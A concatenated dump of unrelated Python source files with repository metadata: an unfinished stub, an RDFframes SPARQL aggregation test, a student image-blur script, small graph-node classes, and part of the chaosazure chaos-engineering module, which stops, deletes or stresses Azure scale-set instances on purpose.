0f618b7c1df9610db9658175c8f6b7b6f63756b9 | 37 | py | Python | 12/RoomPlan.py | pipSu/Algorithm_Assignment | 95becdbf34091b6461b4b1acd916c5a4e74dfd4d | [
"MIT"
] | null | null | null | 12/RoomPlan.py | pipSu/Algorithm_Assignment | 95becdbf34091b6461b4b1acd916c5a4e74dfd4d | [
"MIT"
] | null | null | null | 12/RoomPlan.py | pipSu/Algorithm_Assignment | 95becdbf34091b6461b4b1acd916c5a4e74dfd4d | [
"MIT"
] | null | null | null |
def __main():
def
__main()
| 3.7 | 13 | 0.486486 | 4 | 37 | 3.5 | 0.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.378378 | 37 | 9 | 14 | 4.111111 | 0.608696 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7e14aa0f55fce058bc632ef94e78c3509bb3079a | 4,004 | py | Python | rdfframes/test_queries/test_aggregation.py | qcri/RDFframe | 2a50105479051c134cc5eddc9e20d55b755ef765 | [
"MIT"
] | 13 | 2019-07-06T00:10:11.000Z | 2022-02-20T02:14:16.000Z | rdfframes/test_queries/test_aggregation.py | qcri/RDFrame | 2a50105479051c134cc5eddc9e20d55b755ef765 | [
"MIT"
] | 1 | 2019-05-20T08:51:42.000Z | 2019-05-20T08:51:42.000Z | rdfframes/test_queries/test_aggregation.py | qcri/RDFframe | 2a50105479051c134cc5eddc9e20d55b755ef765 | [
"MIT"
] | 3 | 2020-04-17T10:50:37.000Z | 2022-03-23T01:30:16.000Z | from rdfframes.knowledge_graph import KnowledgeGraph
def test_simple_query():
# create a knowledge graph to store the graph uri and prefixes
graph = KnowledgeGraph('twitter', 'https://twitter.com',
prefixes={
"rdf": "http://www.w3.org/1999/02/22-rdf-syntax-ns#",
"sioc": "http://rdfs.org/sioc/ns#",
"sioct": "http://rdfs.org/sioc/types#",
"to": "http://twitter.com/ontology/",
"dcterms": "http://purl.org/dc/terms/",
"xsd": "http://www.example.org/",
"foaf": "http://xmlns.com/foaf/0.1/"
})
# return all the instances of the tweet class
dataset = graph.entities(class_name='sioc:microblogPost',
new_dataset_name='tweets',
entities_col_name='tweet')
dataset = dataset.expand(src_col_name='tweet', predicate_list=[
('sioc:has_creater', 'tweep', False),
('sioc:content', 'text', False)
])
dataset = dataset.group_by(['tweep']).count(src_col_name='tweet', new_col_name='tweet_count', unique=True)
sparql_query = dataset.to_sparql()
print("sparql_query that returns each user and his unique tweet count =\n{}\n".format(sparql_query))
# return all the instances of the tweet class
dataset = graph.entities(class_name='sioc:microblogPost',
new_dataset_name='tweets',
entities_col_name='tweet')
dataset = dataset.expand(src_col_name='tweet', predicate_list=[
('sioc:has_creater', 'tweep', False),
('sioc:content', 'text', False)
])
dataset = dataset.group_by(['tweep']).count('tweet')
sparql_query = dataset.to_sparql()
print("sparql_query that returns the number of tweets per user without unique =\n{}\n".format(sparql_query))
# return all the instances of the tweet class
dataset = graph.entities(class_name='sioc:microblogPost',
new_dataset_name='tweets',
entities_col_name='tweet')
dataset = dataset.expand(src_col_name='tweet', predicate_list=[
('sioc:has_creater', 'tweep', False),
('sioc:content', 'text', False)
])
dataset = dataset.group_by(['tweep']).count('tweet', new_col_name='n_tweets').sum('n_tweets')
sparql_query = dataset.to_sparql()
print("sparql_query that returns the number of tweets as the sum of tweets per user without unique =\n{}\n".format(sparql_query))
dataset = graph.entities(class_name='sioc:microblogPost',
new_dataset_name='tweets',
entities_col_name='tweet')
dataset = dataset.expand(src_col_name='tweet', predicate_list=[
('sioc:has_creater', 'tweep', False),
('sioc:content', 'text', False)
])
dataset = dataset.count("tweet", unique=True)
sparql_query = dataset.to_sparql()
print("sparql_query that returns the number of tweets =\n{}\n".format(sparql_query))
# return all the instances of the tweet class
dataset = graph.entities(class_name='sioc:microblogPost',
new_dataset_name='tweets',
entities_col_name='tweet')
dataset = dataset.expand(src_col_name='tweet', predicate_list=[
('sioc:has_creater', 'tweep', False)
])
dataset = dataset.group_by(['tweep']).count(src_col_name='tweet', new_col_name='tweet_count', unique=True)
dataset = dataset.expand(src_col_name='tweep', predicate_list=[('sioc:content', 'text', False)])
sparql_query = dataset.to_sparql()
print("sparql_query that returns the tweep, tweet_count, text of each tweet =\n{}\n".format(sparql_query))
# TODO: make sure this actually returns the expected result
if __name__ == '__main__':
test_simple_query()
| 49.432099 | 133 | 0.600649 | 472 | 4,004 | 4.883475 | 0.205508 | 0.04859 | 0.072885 | 0.045553 | 0.760954 | 0.752712 | 0.739696 | 0.739696 | 0.739696 | 0.739696 | 0 | 0.003744 | 0.266234 | 4,004 | 80 | 134 | 50.05 | 0.780803 | 0.073427 | 0 | 0.625 | 0 | 0 | 0.291115 | 0 | 0 | 0 | 0 | 0.0125 | 0 | 1 | 0.015625 | false | 0 | 0.015625 | 0 | 0.03125 | 0.078125 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7e59f06a617223cc10fb7198fe2dd71643fc5f54 | 9,364 | py | Python | stanCode_Projects/my_photoshop/blur.py | clairejrlin/stanCode_projects | 452a93f9db2de610d0580faecca80b3c3d311395 | [
"MIT"
] | null | null | null | stanCode_Projects/my_photoshop/blur.py | clairejrlin/stanCode_projects | 452a93f9db2de610d0580faecca80b3c3d311395 | [
"MIT"
] | null | null | null | stanCode_Projects/my_photoshop/blur.py | clairejrlin/stanCode_projects | 452a93f9db2de610d0580faecca80b3c3d311395 | [
"MIT"
] | null | null | null | """
File: blur.py
-------------------------------
This file shows the original image(smiley-face.png)
first, and then its blurred image. The blur algorithm
uses the average RGB values of a pixel's nearest neighbors.
"""
from simpleimage import SimpleImage
def blur(img):
"""
:param img: SimpleImage, original image.
:return: SimpleImage, blurred image.
"""
new_img = SimpleImage.blank(img.width, img.height)
for y in range(img.height):
for x in range(img.width):
if (img.width - 1) > x >= 1 and (img.height - 1) > y >= 1: # for the pixel inside.
pixel_start = img.get_pixel(x, y) # pixel_5
pixel_1 = img.get_pixel(x - 1, y - 1)
pixel_2 = img.get_pixel(x, y - 1)
pixel_3 = img.get_pixel(x + 1, y - 1)
pixel_4 = img.get_pixel(x - 1, y)
pixel_6 = img.get_pixel(x + 1, y)
pixel_7 = img.get_pixel(x - 1, y + 1)
pixel_8 = img.get_pixel(x, y + 1)
pixel_9 = img.get_pixel(x + 1, y + 1)
new_pixel = new_img.get_pixel(x, y)
avg_red = (pixel_1.red + pixel_2.red + pixel_3.red + pixel_4.red + pixel_start.red + pixel_6.red +
pixel_7.red + pixel_8.red + pixel_9.red) // 9
avg_green = (pixel_1.green + pixel_2.green + pixel_3.green + pixel_4.green + pixel_start.green +
pixel_6.green + pixel_7.green + pixel_8.green + pixel_9.green) // 9
avg_blue = (pixel_1.blue + pixel_2.blue + pixel_3.blue + pixel_4.blue + pixel_start.blue +
pixel_6.blue + pixel_7.blue + pixel_8.blue + pixel_9.blue) // 9
new_pixel.red = avg_red
new_pixel.green = avg_green
new_pixel.blue = avg_blue
elif x == 0 and (img.height - 1) > y >= 1: # for pixel which were on the left edge.
pixel_start = img.get_pixel(x, y) # pixel_5
pixel_2 = img.get_pixel(x, y - 1)
pixel_3 = img.get_pixel(x + 1, y - 1)
pixel_6 = img.get_pixel(x + 1, y)
pixel_8 = img.get_pixel(x, y + 1)
pixel_9 = img.get_pixel(x + 1, y + 1)
new_pixel = new_img.get_pixel(x, y)
avg_red = (pixel_2.red + pixel_3.red + pixel_start.red + pixel_6.red + pixel_8.red + pixel_9.red) // 6
avg_green = (pixel_2.green + pixel_3.green + pixel_start.green + pixel_6.green + pixel_8.green +
pixel_9.green) // 6
avg_blue = (pixel_2.blue + pixel_3.blue + pixel_start.blue + pixel_6.blue + pixel_8.blue +
pixel_9.blue) // 6
new_pixel.red = avg_red
new_pixel.green = avg_green
new_pixel.blue = avg_blue
elif (img.width - 1) > x >= 1 and y == 0: # for pixel which were on the top edge.
pixel_start = img.get_pixel(x, y) # pixel_5
pixel_4 = img.get_pixel(x - 1, y)
pixel_6 = img.get_pixel(x + 1, y)
pixel_7 = img.get_pixel(x - 1, y + 1)
pixel_8 = img.get_pixel(x, y + 1)
pixel_9 = img.get_pixel(x + 1, y + 1)
new_pixel = new_img.get_pixel(x, y)
avg_red = (pixel_4.red + pixel_start.red + pixel_6.red + pixel_7.red + pixel_8.red + pixel_9.red) // 6
avg_green = (pixel_4.green + pixel_start.green + pixel_6.green + pixel_7.green + pixel_8.green +
pixel_9.green) // 6
avg_blue = (pixel_4.blue + pixel_start.blue + pixel_6.blue + pixel_7.blue + pixel_8.blue +
pixel_9.blue) // 6
new_pixel.red = avg_red
new_pixel.green = avg_green
new_pixel.blue = avg_blue
elif x == img.width - 1 and (img.height - 1) > y >= 1: # for pixel which were on the right edge.
pixel_start = img.get_pixel(x, y) # pixel_5
pixel_1 = img.get_pixel(x - 1, y - 1)
pixel_2 = img.get_pixel(x, y - 1)
pixel_4 = img.get_pixel(x - 1, y)
pixel_7 = img.get_pixel(x - 1, y + 1)
pixel_8 = img.get_pixel(x, y + 1)
new_pixel = new_img.get_pixel(x, y)
avg_red = (pixel_1.red + pixel_2.red + pixel_4.red + pixel_start.red + pixel_7.red + pixel_8.red) // 6
avg_green = (pixel_1.green + pixel_2.green + pixel_4.green + pixel_start.green + pixel_7.green +
pixel_8.green) // 6
avg_blue = (pixel_1.blue + pixel_2.blue + pixel_4.blue + pixel_start.blue + pixel_7.blue +
pixel_8.blue) // 6
new_pixel.red = avg_red
new_pixel.green = avg_green
new_pixel.blue = avg_blue
elif (img.width - 1) > x >= 1 and y == img.height - 1: # for pixel which were on the bottom edge.
pixel_start = img.get_pixel(x, y) # pixel_5
pixel_1 = img.get_pixel(x - 1, y - 1)
pixel_2 = img.get_pixel(x, y - 1)
pixel_3 = img.get_pixel(x + 1, y - 1)
pixel_4 = img.get_pixel(x - 1, y)
pixel_6 = img.get_pixel(x + 1, y)
new_pixel = new_img.get_pixel(x, y)
avg_red = (pixel_1.red + pixel_2.red + pixel_3.red + pixel_4.red + pixel_start.red + pixel_6.red) // 6
avg_green = (pixel_1.green + pixel_2.green + pixel_3.green + pixel_4.green + pixel_start.green +
pixel_6.green) // 6
avg_blue = (pixel_1.blue + pixel_2.blue + pixel_3.blue + pixel_4.blue + pixel_start.blue +
pixel_6.blue) // 6
new_pixel.red = avg_red
new_pixel.green = avg_green
new_pixel.blue = avg_blue
elif x == 0 and y == 0: # for pixel in the corner (0, 0).
pixel_start = img.get_pixel(x, y) # pixel_5
pixel_6 = img.get_pixel(x + 1, y)
pixel_8 = img.get_pixel(x, y + 1)
pixel_9 = img.get_pixel(x + 1, y + 1)
new_pixel = new_img.get_pixel(x, y)
avg_red = (pixel_start.red + pixel_6.red + pixel_8.red + pixel_9.red) // 4
avg_green = (pixel_start.green + pixel_6.green + pixel_8.green + pixel_9.green) // 4
avg_blue = (pixel_start.blue + pixel_6.blue + pixel_8.blue + pixel_9.blue) // 4
new_pixel.red = avg_red
new_pixel.green = avg_green
new_pixel.blue = avg_blue
elif x == img.width - 1 and y == 0: # for pixel in the corner (x, 0).
pixel_start = img.get_pixel(x, y) # pixel_5
pixel_4 = img.get_pixel(x - 1, y)
pixel_7 = img.get_pixel(x - 1, y + 1)
pixel_8 = img.get_pixel(x, y + 1)
new_pixel = new_img.get_pixel(x, y)
avg_red = (pixel_4.red + pixel_start.red + pixel_7.red + pixel_8.red) // 4
avg_green = (pixel_4.green + pixel_start.green + pixel_7.green + pixel_8.green) // 4
avg_blue = (pixel_4.blue + pixel_start.blue + pixel_7.blue + pixel_8.blue) // 4
new_pixel.red = avg_red
new_pixel.green = avg_green
new_pixel.blue = avg_blue
elif x == 0 and y == img.height - 1: # for pixel in the corner (0, y).
pixel_start = img.get_pixel(x, y) # pixel_5
pixel_2 = img.get_pixel(x, y - 1)
pixel_3 = img.get_pixel(x + 1, y - 1)
pixel_6 = img.get_pixel(x + 1, y)
new_pixel = new_img.get_pixel(x, y)
avg_red = (pixel_2.red + pixel_3.red + pixel_start.red + pixel_6.red) // 4
avg_green = (pixel_2.green + pixel_3.green + pixel_start.green + pixel_6.green) // 4
avg_blue = (pixel_2.blue + pixel_3.blue + pixel_start.blue + pixel_6.blue) // 4
new_pixel.red = avg_red
new_pixel.green = avg_green
new_pixel.blue = avg_blue
elif x == img.width - 1 and y == img.height - 1: # for pixel in the corner (x, y).
pixel_start = img.get_pixel(x, y) # pixel_5
pixel_1 = img.get_pixel(x - 1, y - 1)
pixel_2 = img.get_pixel(x, y - 1)
pixel_4 = img.get_pixel(x - 1, y)
new_pixel = new_img.get_pixel(x, y)
avg_red = (pixel_1.red + pixel_2.red + pixel_4.red + pixel_start.red) // 4
avg_green = (pixel_1.green + pixel_2.green + pixel_4.green + pixel_start.green) // 4
avg_blue = (pixel_1.blue + pixel_2.blue + pixel_4.blue + pixel_start.blue) // 4
new_pixel.red = avg_red
new_pixel.green = avg_green
new_pixel.blue = avg_blue
return new_img
def main():
"""
TODO:
"""
old_img = SimpleImage("images/smiley-face.png")
old_img.show()
blurred_img = blur(old_img)
for i in range(5):
blurred_img = blur(blurred_img)
blurred_img.show()
if __name__ == '__main__':
main()
| 48.770833 | 118 | 0.521572 | 1,400 | 9,364 | 3.217857 | 0.055714 | 0.077248 | 0.14162 | 0.154495 | 0.885905 | 0.882797 | 0.874584 | 0.871476 | 0.854384 | 0.853052 | 0 | 0.047378 | 0.366617 | 9,364 | 191 | 119 | 49.026178 | 0.71219 | 0.072191 | 0 | 0.632653 | 0 | 0 | 0.003477 | 0.00255 | 0 | 0 | 0 | 0.005236 | 0 | 1 | 0.013605 | false | 0 | 0.006803 | 0 | 0.027211 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0e370c775c1faf7e2338ca28071392b5203e7342 | 147 | py | Python | Layers/__init__.py | michalnand/machine_vision | 66391b78bf1ccfc67bffdfbc6530c6b339334766 | [
"MIT"
] | null | null | null | Layers/__init__.py | michalnand/machine_vision | 66391b78bf1ccfc67bffdfbc6530c6b339334766 | [
"MIT"
] | null | null | null | Layers/__init__.py | michalnand/machine_vision | 66391b78bf1ccfc67bffdfbc6530c6b339334766 | [
"MIT"
] | null | null | null | from .Thresholding import *
from .AdaptiveThresholding import *
from .Edges import *
from .Corners import * | 36.75 | 36 | 0.571429 | 12 | 147 | 7 | 0.5 | 0.357143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.37415 | 147 | 4 | 37 | 36.75 | 0.913043 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
7ec1eb7a080abc8e97cb21b21def5aa3f226460c | 117 | py | Python | tests/conftest.py | asyncee/pycamunda | f4834d224ff99fcf80874efeaedf68a8a2efa926 | [
"MIT"
] | null | null | null | tests/conftest.py | asyncee/pycamunda | f4834d224ff99fcf80874efeaedf68a8a2efa926 | [
"MIT"
] | null | null | null | tests/conftest.py | asyncee/pycamunda | f4834d224ff99fcf80874efeaedf68a8a2efa926 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import pytest
@pytest.fixture
def engine_url():
return 'http://localhost/engine-rest'
| 13 | 41 | 0.65812 | 15 | 117 | 5.066667 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010204 | 0.162393 | 117 | 8 | 42 | 14.625 | 0.765306 | 0.179487 | 0 | 0 | 0 | 0 | 0.297872 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.25 | 0.25 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
7ee9a8b8ae242dab3019f8cc9e7d3cba9dabc3c9 | 116 | py | Python | src/lesson_language_tools/inspect_getmembers_class_methods_b.py | jasonwee/asus-rt-n14uhp-mrtg | 4fa96c3406e32ea6631ce447db6d19d70b2cd061 | [
"Apache-2.0"
] | 3 | 2018-08-14T09:33:52.000Z | 2022-03-21T12:31:58.000Z | src/lesson_language_tools/inspect_getmembers_class_methods_b.py | jasonwee/asus-rt-n14uhp-mrtg | 4fa96c3406e32ea6631ce447db6d19d70b2cd061 | [
"Apache-2.0"
] | null | null | null | src/lesson_language_tools/inspect_getmembers_class_methods_b.py | jasonwee/asus-rt-n14uhp-mrtg | 4fa96c3406e32ea6631ce447db6d19d70b2cd061 | [
"Apache-2.0"
] | null | null | null | import inspect
from pprint import pprint
import example
pprint(inspect.getmembers(example.B, inspect.isfunction))
| 16.571429 | 57 | 0.827586 | 15 | 116 | 6.4 | 0.533333 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.103448 | 116 | 6 | 58 | 19.333333 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.75 | 0 | 0.75 | 0.5 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
7d21f867d2deccb1e25471e24c6a68d3e5b9b0df | 1,317 | py | Python | no.py | rodrigondec/Grafos | dd3bb7ffd56909395cc211c6d68f9e3eaa5fa9ba | [
"Unlicense"
] | null | null | null | no.py | rodrigondec/Grafos | dd3bb7ffd56909395cc211c6d68f9e3eaa5fa9ba | [
"Unlicense"
] | null | null | null | no.py | rodrigondec/Grafos | dd3bb7ffd56909395cc211c6d68f9e3eaa5fa9ba | [
"Unlicense"
] | null | null | null | class No(object):
"""docstring for ClassName"""
def __init__(self, identificador):
super(No, self).__init__()
self.identificador = identificador
def __str__(self):
return '['+self.identificador.__str__()+']'
def str(self):
return '['+self.identificador.__str__()+']'
class NoValorado(No):
"""docstring for NoValued"""
def __init__(self, identificador, valor):
No.__init__(self, identificador)
self.valor = valor
def __str__(self):
return '['+self.identificador.__str__()+'] {'+self.valor.__str__()+'}'
def str(self):
return '['+self.identificador.__str__()+'] {'+self.valor.__str__()+'}'
class NoArvore(No):
def __init__(self, identificador, pai):
No.__init__(self, identificador)
self.pai = pai
def __str__(self):
return '['+self.identificador.__str__()+'] {'+self.pai.__str__()+'}'
def str(self):
return '['+self.identificador.__str__()+'] {'+self.pai.__str__()+'}'
class NoArvoreDist(NoArvore):
def __init__(self, identificador, pai, distancia):
NoArvore.__init__(self, identificador, pai)
self.distancia = distancia
def __str__(self):
return '['+self.identificador.__str__()+'] {'+self.pai.__str__()+'} ('+self.distancia.__str__()+')'
def str(self):
return '['+self.identificador.__str__()+'] {'+self.pai.__str__()+'} ('+self.distancia.__str__()+')'
| 27.4375 | 101 | 0.677297 | 147 | 1,317 | 5.306122 | 0.136054 | 0.348718 | 0.215385 | 0.164103 | 0.630769 | 0.492308 | 0.492308 | 0.45 | 0.4 | 0.4 | 0 | 0 | 0.116932 | 1,317 | 47 | 102 | 28.021277 | 0.670679 | 0.034928 | 0 | 0.5625 | 0 | 0 | 0.031746 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.375 | false | 0 | 0 | 0.25 | 0.75 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
7d385a88c1c424fa3e161db98687f83cfbd9f5da | 17,171 | py | Python | chaosazure/vmss/actions.py | chaostoolkit-incubator/chaostoolkit-azure | 377a35651d999281379b49ceb406061649840d3f | [
"Apache-2.0"
] | 23 | 2018-10-17T14:38:08.000Z | 2022-02-23T13:21:30.000Z | chaosazure/vmss/actions.py | saibaldas/chaostoolkit-azure | 7ac0ef4406c9f58375f507ad536777e4b3e045e0 | [
"Apache-2.0"
] | 116 | 2018-06-19T13:48:28.000Z | 2022-03-24T08:59:19.000Z | chaosazure/vmss/actions.py | saibaldas/chaostoolkit-azure | 7ac0ef4406c9f58375f507ad536777e4b3e045e0 | [
"Apache-2.0"
] | 31 | 2018-10-01T11:07:06.000Z | 2022-03-24T17:06:08.000Z | from typing import Iterable, Mapping
from chaoslib import Configuration, Secrets
from logzero import logger
from chaosazure import init_compute_management_client
from chaosazure.common import cleanse
from chaosazure.common.compute import command
from chaosazure.vmss.fetcher import fetch_vmss, fetch_instances
from chaosazure.vmss.records import Records
__all__ = [
"delete_vmss", "restart_vmss", "stop_vmss", "deallocate_vmss",
"burn_io", "fill_disk", "network_latency", "stress_vmss_instance_cpu"
]
def delete_vmss(filter: str = None,
instance_criteria: Iterable[Mapping[str, any]] = None,
configuration: Configuration = None,
secrets: Secrets = None):
"""
Delete a virtual machine scale set instance at random.
**Be aware**: Deleting a VMSS instance is an invasive action. You will not
be able to recover the VMSS instance once you deleted it.
Parameters
----------
filter : str
Filter the virtual machine scale set. If the filter is omitted all
virtual machine scale sets in the subscription will be selected as
potential chaos candidates.
Filtering example:
'where resourceGroup=="myresourcegroup" and name="myresourcename"'
"""
logger.debug(
"Starting delete_vmss: configuration='{}', filter='{}'".format(
configuration, filter))
vmss = fetch_vmss(filter, configuration, secrets)
vmss_records = Records()
for scale_set in vmss:
instances_records = Records()
instances = fetch_instances(scale_set, instance_criteria,
configuration, secrets)
for instance in instances:
logger.debug(
"Deleting instance: {}".format(instance['name']))
client = init_compute_management_client(secrets, configuration)
client.virtual_machine_scale_set_vms.begin_delete(
scale_set['resourceGroup'],
scale_set['name'],
instance['instance_id'])
instances_records.add(cleanse.vmss_instance(instance))
scale_set['virtualMachines'] = instances_records.output()
vmss_records.add(cleanse.vmss(scale_set))
return vmss_records.output_as_dict('resources')
def restart_vmss(filter: str = None,
instance_criteria: Iterable[Mapping[str, any]] = None,
configuration: Configuration = None,
secrets: Secrets = None):
"""
Restart a virtual machine scale set instance at random.
Parameters
----------
filter : str
Filter the virtual machine scale set. If the filter is omitted all
virtual machine scale sets in the subscription will be selected as
potential chaos candidates.
Filtering example:
'where resourceGroup=="myresourcegroup" and name="myresourcename"'
"""
logger.debug(
"Starting restart_vmss: configuration='{}', filter='{}'".format(
configuration, filter))
vmss = fetch_vmss(filter, configuration, secrets)
vmss_records = Records()
for scale_set in vmss:
instances_records = Records()
instances = fetch_instances(scale_set, instance_criteria,
configuration, secrets)
for instance in instances:
logger.debug(
"Restarting instance: {}".format(instance['name']))
client = init_compute_management_client(secrets, configuration)
client.virtual_machine_scale_set_vms.begin_restart(
scale_set['resourceGroup'],
scale_set['name'],
instance['instance_id'])
instances_records.add(cleanse.vmss_instance(instance))
scale_set['virtualMachines'] = instances_records.output()
vmss_records.add(cleanse.vmss(scale_set))
return vmss_records.output_as_dict('resources')
def stop_vmss(filter: str = None,
instance_criteria: Iterable[Mapping[str, any]] = None,
configuration: Configuration = None,
secrets: Secrets = None):
"""
Stops instances from the filtered scale set either at random or by
a defined instance criteria.
Parameters
----------
filter : str
Filter the virtual machine scale set. If the filter is omitted all
virtual machine scale sets in the subscription will be selected as
potential chaos candidates.
Filtering example:
'where resourceGroup=="myresourcegroup" and name="myresourcename"'
instance_criteria : Iterable[Mapping[str, any]]
Allows specification of criteria for selection of a given virtual
machine scale set instance. If the instance_criteria is omitted,
an instance will be chosen at random. All of the criteria within each
item of the Iterable must match, i.e. AND logic is applied.
The first item with all matching criterion will be used to select the
instance.
Criteria example:
[
{"name": "myVMSSInstance1"},
{
"name": "myVMSSInstance2",
"instanceId": "2"
}
{"instanceId": "3"},
]
If the instances include two items. One with name = myVMSSInstance4
and instanceId = 2. The other with name = myVMSSInstance2 and
instanceId = 3. The criteria {"instanceId": "3"} will be the first
match since both the name and the instanceId did not match on the
first criteria.
"""
logger.debug(
"Starting stop_vmss: configuration='{}', filter='{}'".format(
configuration, filter))
vmss = fetch_vmss(filter, configuration, secrets)
vmss_records = Records()
for scale_set in vmss:
instances_records = Records()
instances = fetch_instances(scale_set, instance_criteria,
configuration, secrets)
for instance in instances:
logger.debug(
"Stopping instance: {}".format(instance['name']))
client = init_compute_management_client(secrets, configuration)
client.virtual_machine_scale_set_vms.begin_power_off(
scale_set['resourceGroup'],
scale_set['name'],
instance['instance_id'])
instances_records.add(cleanse.vmss_instance(instance))
scale_set['virtualMachines'] = instances_records.output()
vmss_records.add(cleanse.vmss(scale_set))
return vmss_records.output_as_dict('resources')
def deallocate_vmss(filter: str = None,
instance_criteria: Iterable[Mapping[str, any]] = None,
configuration: Configuration = None,
secrets: Secrets = None):
"""
Deallocate a virtual machine scale set instance at random.
Parameters
----------
filter : str
Filter the virtual machine scale set. If the filter is omitted all
virtual machine scale sets in the subscription will be selected as
potential chaos candidates.
Filtering example:
'where resourceGroup=="myresourcegroup" and name="myresourcename"'
"""
logger.debug(
"Starting deallocate_vmss: configuration='{}', filter='{}'".format(
configuration, filter))
vmss = fetch_vmss(filter, configuration, secrets)
vmss_records = Records()
for scale_set in vmss:
instances_records = Records()
instances = fetch_instances(scale_set, instance_criteria,
configuration, secrets)
for instance in instances:
logger.debug(
"Deallocating instance: {}".format(instance['name']))
client = init_compute_management_client(secrets, configuration)
client.virtual_machine_scale_set_vms.begin_deallocate(
scale_set['resourceGroup'],
scale_set['name'],
instance['instance_id'])
instances_records.add(cleanse.vmss_instance(instance))
scale_set['virtualMachines'] = instances_records.output()
vmss_records.add(cleanse.vmss(scale_set))
return vmss_records.output_as_dict('resources')
def stress_vmss_instance_cpu(
filter: str = None,
duration: int = 120,
timeout: int = 60,
instance_criteria: Iterable[Mapping[str, any]] = None,
configuration: Configuration = None,
secrets: Secrets = None):
logger.warning(
"Deprecated usage of activity 'stress_vmss_instance_cpu'."
" Please use activity 'stress_cpu' in favor since this"
" activity will be removed in a future release.")
return stress_cpu(
filter, duration, timeout, instance_criteria, configuration, secrets)
def stress_cpu(filter: str = None,
duration: int = 120,
timeout: int = 60,
instance_criteria: Iterable[Mapping[str, any]] = None,
configuration: Configuration = None,
secrets: Secrets = None):
"""
Stresses the CPU of a random VMSS instances in your selected VMSS.
Similar to the stress_cpu action of the machine.actions module.
Parameters
----------
filter : str, optional
Filter the VMSS. If the filter is omitted all VMSS in
the subscription will be selected as potential chaos candidates.
duration : int, optional
Duration of the stress test (in seconds) that generates high CPU usage.
Defaults to 120 seconds.
timeout : int
Additional wait time (in seconds) for stress operation to be completed.
Getting and sending data from/to Azure may take some time so it's not
recommended to set this value to less than 30s. Defaults to 60 seconds.
"""
logger.debug(
"Starting stress_vmss_instance_cpu:"
" configuration='{}', filter='{}',"
" duration='{}', timeout='{}'".format(
configuration, filter, duration, timeout))
vmss_records = Records()
vmss = fetch_vmss(filter, configuration, secrets)
for scale_set in vmss:
instances_records = Records()
instances = fetch_instances(scale_set, instance_criteria,
configuration, secrets)
for instance in instances:
command_id, script_content = command.prepare(instance,
'cpu_stress_test')
parameters = {
'command_id': command_id,
'script': [script_content],
'parameters': [
{'name': "duration", 'value': duration}
]
}
logger.debug(
"Stressing CPU of VMSS instance: '{}'".format(
instance['instance_id']))
_timeout = duration + timeout
command.run(
scale_set['resourceGroup'], instance, _timeout, parameters,
secrets, configuration)
instances_records.add(cleanse.vmss_instance(instance))
scale_set['virtualMachines'] = instances_records.output()
vmss_records.add(cleanse.vmss(scale_set))
return vmss_records.output_as_dict('resources')
def burn_io(filter: str = None,
duration: int = 60,
timeout: int = 60,
instance_criteria: Iterable[Mapping[str, any]] = None,
configuration: Configuration = None,
secrets: Secrets = None):
"""
Increases the Disk I/O operations per second of the VMSS machine.
Similar to the burn_io action of the machine.actions module.
"""
logger.debug(
"Starting burn_io: configuration='{}', filter='{}', duration='{}',"
" timeout='{}'".format(configuration, filter, duration, timeout))
vmss = fetch_vmss(filter, configuration, secrets)
vmss_records = Records()
for scale_set in vmss:
instances_records = Records()
instances = fetch_instances(scale_set, instance_criteria,
configuration, secrets)
for instance in instances:
